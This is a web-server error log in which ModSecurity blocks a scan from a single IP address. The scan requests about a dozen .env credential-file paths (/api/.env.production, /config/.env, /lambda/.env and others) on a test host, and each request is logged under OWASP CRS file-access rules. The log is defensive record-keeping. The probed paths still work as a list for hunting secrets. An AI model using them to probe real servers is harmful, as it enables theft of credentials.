[Sat Nov 29 02:44:01.289603 2025] [:error] [pid 395860] [client 195.178.110.155:55548] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.production&quot;] [unique_id &quot;aSpP4WGVbW32jAuRdZj-QQAAAAY&quot;]
[Sat Nov 29 02:44:01.289817 2025] [:error] [pid 395860] [client 195.178.110.155:55548] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.production&quot;] [unique_id &quot;aSpP4WGVbW32jAuRdZj-QQAAAAY&quot;]
[Sat Nov 29 02:44:01.369406 2025] [:error] [pid 395887] [client 195.178.110.155:55558] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.local&quot;] [unique_id &quot;aSpP4TRmtvrSM4WZBRuKAgAAAAs&quot;]
[Sat Nov 29 02:44:01.369642 2025] [:error] [pid 395887] [client 195.178.110.155:55558] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.local&quot;] [unique_id &quot;aSpP4TRmtvrSM4WZBRuKAgAAAAs&quot;]
[Sat Nov 29 02:44:01.369847 2025] [:error] [pid 395887] [client 195.178.110.155:55558] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.local&quot;] [unique_id &quot;aSpP4TRmtvrSM4WZBRuKAgAAAAs&quot;]
[Sat Nov 29 02:44:01.395020 2025] [:error] [pid 395887] [client 195.178.110.155:55558] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.production&quot;] [unique_id &quot;aSpP4TRmtvrSM4WZBRuKAwAAAAs&quot;]
[Sat Nov 29 02:44:01.395256 2025] [:error] [pid 395887] [client 195.178.110.155:55558] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.production&quot;] [unique_id &quot;aSpP4TRmtvrSM4WZBRuKAwAAAAs&quot;]
[Sat Nov 29 02:44:01.395457 2025] [:error] [pid 395887] [client 195.178.110.155:55558] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.production&quot;] [unique_id &quot;aSpP4TRmtvrSM4WZBRuKAwAAAAs&quot;]
[Sat Nov 29 02:44:01.464765 2025] [:error] [pid 395858] [client 195.178.110.155:55568] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aSpP4VonenFtamV5yHYdBgAAAAI&quot;]
[Sat Nov 29 02:44:01.465045 2025] [:error] [pid 395858] [client 195.178.110.155:55568] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aSpP4VonenFtamV5yHYdBgAAAAI&quot;]
[Sat Nov 29 02:44:01.465275 2025] [:error] [pid 395858] [client 195.178.110.155:55568] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env.local&quot;] [unique_id &quot;aSpP4VonenFtamV5yHYdBgAAAAI&quot;]
[Sat Nov 29 02:44:01.594755 2025] [:error] [pid 395881] [client 195.178.110.155:55570] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env.production&quot;] [unique_id &quot;aSpP4bVL27gtiM4DUrnKuwAAAAM&quot;]
[Sat Nov 29 02:44:01.595016 2025] [:error] [pid 395881] [client 195.178.110.155:55570] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env.production&quot;] [unique_id &quot;aSpP4bVL27gtiM4DUrnKuwAAAAM&quot;]
[Sat Nov 29 02:44:01.595202 2025] [:error] [pid 395881] [client 195.178.110.155:55570] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env.production&quot;] [unique_id &quot;aSpP4bVL27gtiM4DUrnKuwAAAAM&quot;]
[Sat Nov 29 02:44:01.677753 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYaigAAAAU&quot;]
[Sat Nov 29 02:44:01.678003 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYaigAAAAU&quot;]
[Sat Nov 29 02:44:01.678213 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYaigAAAAU&quot;]
[Sat Nov 29 02:44:01.699572 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/env/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYaiwAAAAU&quot;]
[Sat Nov 29 02:44:01.699918 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/env/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYaiwAAAAU&quot;]
[Sat Nov 29 02:44:01.700124 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/env/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYaiwAAAAU&quot;]
[Sat Nov 29 02:44:01.721491 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYajAAAAAU&quot;]
[Sat Nov 29 02:44:01.721754 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYajAAAAAU&quot;]
[Sat Nov 29 02:44:01.721961 2025] [:error] [pid 395859] [client 195.178.110.155:55582] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aSpP4VoA1e4Hc_0ExRYajAAAAAU&quot;]
[Sat Nov 29 02:44:01.802225 2025] [:error] [pid 396956] [client 195.178.110.155:55586] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aSpP4YtKufSJfVuSdY3izgAAAAo&quot;]
[Sat Nov 29 02:44:01.802494 2025] [:error] [pid 396956] [client 195.178.110.155:55586] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aSpP4YtKufSJfVuSdY3izgAAAAo&quot;]
[Sat Nov 29 02:44:01.802697 2025] [:error] [pid 396956] [client 195.178.110.155:55586] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.env&quot;] [unique_id &quot;aSpP4YtKufSJfVuSdY3izgAAAAo&quot;]
[Sat Nov 29 02:44:01.979732 2025] [:error] [pid 395857] [client 195.178.110.155:55590] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /microservices/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/microservices/.env&quot;] [unique_id &quot;aSpP4TSCF_TM1-8eXUjH5QAAAAw&quot;]
[Sat Nov 29 02:44:01.979977 2025] [:error] [pid 395857] [client 195.178.110.155:55590] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/microservices/.env&quot;] [unique_id &quot;aSpP4TSCF_TM1-8eXUjH5QAAAAw&quot;]
[Sat Nov 29 02:44:01.980165 2025] [:error] [pid 395857] [client 195.178.110.155:55590] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/microservices/.env&quot;] [unique_id &quot;aSpP4TSCF_TM1-8eXUjH5QAAAAw&quot;]
[Sat Nov 29 02:44:02.057621 2025] [:error] [pid 397988] [client 195.178.110.155:55592] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aSpP4hKqLD0gRyhv8mzDmAAAAAA&quot;]
[Sat Nov 29 02:44:02.057861 2025] [:error] [pid 397988] [client 195.178.110.155:55592] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aSpP4hKqLD0gRyhv8mzDmAAAAAA&quot;]
[Sat Nov 29 02:44:02.058050 2025] [:error] [pid 397988] [client 195.178.110.155:55592] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lambda/.env&quot;] [unique_id &quot;aSpP4hKqLD0gRyhv8mzDmAAAAAA&quot;]
[Sat Nov 29 02:44:02.174244 2025] [:error] [pid 397989] [client 195.178.110.155:55608] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /functions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aSpP4imN-eoTuPxnkTNVLQAAAAE&quot;]
